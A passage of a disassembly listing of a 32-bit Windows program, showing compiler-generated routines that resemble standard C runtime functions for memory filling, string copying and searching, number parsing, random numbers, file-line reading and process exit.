sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB32C push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC948 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC940 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C324 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC944 nop call near ptr 27A0000h loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C534, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C534, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A2CC test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2F0, edi jnz short loc_41B7F0 push [esp+4+arg_0] nop call near ptr 2700522h push eax nop call near ptr 26F0C38h loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2EC, edi mov byte_4DB2E8, bl jnz short loc_41B844 mov eax, dword_4DC95C test eax, eax jz short loc_41B833 mov ecx, dword_4DC958 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC95C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2F0, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A2B0, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A2B0 imul eax, 343FDh add eax, 269EC3h mov dword_43A2B0, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC821[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C534, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C534, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C534, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C328 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz 